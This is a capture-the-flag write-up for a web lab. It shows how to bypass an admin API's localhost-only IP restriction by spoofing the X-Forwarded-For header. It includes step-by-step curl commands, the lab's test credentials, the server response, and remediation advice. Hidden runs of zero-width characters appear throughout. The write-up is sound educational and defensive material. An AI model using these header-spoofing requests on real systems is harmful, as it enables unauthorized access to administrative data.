Lab 120 — InfraPulse

Platform: hackadvisor | Category: Web | Type: Challenge | Difficulty: Easy | OS: Linux | Author: XESXOR | Date: 2026-04-27 | Status: Solved Techniques: ip_based_auth_bypass, javascript_source_analysis, xff_header_spoofing

Summary

Task: DevOps monitoring platform with admin API restricted to internal network (127.0.0.0/8). Solution: Discovered hidden admin endpoints in JavaScript comments, bypassed IP-based authentication by spoofing X-Forwarded-For header to 127.0.0.1.

Lab 120 — InfraPulse — Hackadvisor

Description

InfraPulse is a DevOps infrastructure monitoring platform built by PulseStack Technologies. It provides real-time dashboards for service health, deployment tracking, log aggregation, and alerting across your entire stack.

As a newly onboarded engineer, you have standard user access to the platform. However, you've heard rumors that the administrative API contains sensitive configuration data that shouldn't be accessible to regular users.

Your goal is to find a way past the access controls on the admin API and retrieve the flag hidden in the system configuration.

Credentials: user@test.com / password123 Hint: The application has both a public API and an administrative API. Check the JavaScript source files loaded on the dashboard page for clues about additional endpoints. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

A web application with standard user access. The goal is to bypass access controls on the admin API to retrieve sensitive configuration data containing the flag.

Analysis

After logging in with the provided credentials, I examined the JavaScript files loaded on the dashboard page. The file /static/js/dashboard.js contained developer comments that exposed internal admin API endpoints:

 javascript read-only • copy allowed Copy
// Internal admin API endpoints (restricted to internal network)
//
// Used by the orchestration layer for automated backup and
// service management. Only accessible from 127.0.0.0/8.
//
//   GET  /api/admin/services       - Full service configurations with credentials
//   GET  /api/admin/backup-config   - Backup encryption keys and storage settings
//   POST /api/admin/restart-service - Trigger service restart

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Key observations:

1. Admin API endpoints are documented in client-side JavaScript (information disclosure)
2. Access control is based on source IP address (127.0.0.0/8 range)
3. The application likely runs behind a reverse proxy (nginx) that uses X-Forwarded-For header

The vulnerability lies in trusting the X-Forwarded-For header for IP-based authentication. When an application is behind a reverse proxy, it often relies on this header to determine the client's real IP. However, if the proxy doesn't properly sanitize or overwrite this header, attackers can spoof it. ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Solution

Step 1: Login and obtain session cookie

 bash read-only • copy allowed Copy
curl -c cookies.txt -d "email=user@test.com&password=password123" \
    "https://TARGET/login"

Step 2: Attempt direct access to admin API (fails)

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "https://TARGET/api/admin/backup-config"
# Returns 403 Forbidden - IP not in allowed range

Step 3: Bypass IP restriction with X-Forwarded-For spoofing

 bash read-only • copy allowed Copy
curl -s -b cookies.txt "https://TARGET/api/admin/backup-config" \
    -H "X-Forwarded-For: 127.0.0.1"

‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍

Response:

 json read-only • copy allowed Copy
{
  "backup_configuration": {
    "backup_encryption_key": "FLAG{REDACTED}",
    "compression": "zstd",
    "notify_email": "ops-team@pulsestack.io",
    "retention_days": "30",
    "schedule": "daily_0300_utc",
    "storage_bucket": "s3://pulsestack-backups-prod"
  }
}

The server accepted the spoofed X-Forwarded-For: 127.0.0.1 header and treated the request as coming from localhost, granting access to the admin API.

Remediation

1. Never trust client-supplied headers for authentication - X-Forwarded-For can be easily spoofed
2. Configure reverse proxy to overwrite (not append) X-Forwarded-For with the actual client IP
3. Use proper authentication mechanisms (tokens, API keys) instead of IP-based access control
4. Remove sensitive comments from production JavaScript - use build tools to strip comments
5. Implement defense in depth - combine IP restrictions with authentication ‍​‌‌​​​​‌​‌‌​​‌‌​​‌‌​​‌‌​​‌‌​​‌​​​​‌‌​​​​​‌‌​​‌‌​​‌‌​​‌​‌​‌‌​​‌​‌‍